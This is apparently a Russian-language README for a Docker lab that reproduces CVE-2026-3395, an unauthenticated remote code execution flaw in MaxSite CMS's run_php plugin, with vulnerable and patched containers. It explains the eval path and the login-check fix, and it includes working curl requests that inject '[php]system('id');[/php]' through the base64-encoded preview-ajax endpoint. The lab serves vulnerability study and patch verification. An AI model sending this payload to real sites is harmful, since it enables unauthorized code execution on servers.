
Образовательная Docker-лаборатория, демонстрирующая CVE-2026-3395 — неаутентифицированное удалённое выполнение кода (RCE) в MaxSite CMS через плагин run_php, с уязвимым и исправленным окружениями для безопасного воспроизведения и анализа.
Этот репозиторий предназначен только для образовательных и исследовательских целей. Все тестирование должно проводиться в локальной среде Docker-лаборатории. Не разворачивайте эту конфигурацию на публичных или производственных системах.
CVE-2026-3395 затрагивает MaxSite CMS и позволяет неаутентифицированный доступ к административной AJAX-конечной точке. Когда плагин run_php включён, пользовательский ввод может быть выполнен как PHP-код через систему хуков CMS, что может привести к удалённому выполнению кода (RCE).
Этот репозиторий включает:
Уязвимая конечная точка расположена по адресу:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
В уязвимой версии:
POST data) передаётся через mso_hook()run_php обрабатывает блоки [php]...[/php]eval()Если run_php включён, это приводит к неаутентифицированному удалённому выполнению кода.
Исправленная версия добавляет:
if (!is_login()) die('no login');
mso_checkreferer();
Это ограничивает доступ только аутентифицированными пользователями.
Эта лаборатория создаёт две среды:
| Среда | Порт |
|---|---|
| Уязвимая | 8081 |
| Исправленная | 8082 |
docker compose up -d --build
Это позволит:
run_php в конфигурации лабораторииОткройте в браузере:
http://localhost:8081 (Уязвимая)
http://localhost:8082 (Исправленная)
Оба экземпляра должны успешно загрузиться.

AJAX-маршрут использует путь в кодировке base64.
Base64 от:
admin/plugins/editor_markitup/preview-ajax.php
равен:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
Ожидаемый результат:
no login

Чтобы остановить контейнеры:
docker compose down -v
Используйте этот проект только в изолированных средах для исследовательских и учебных целей.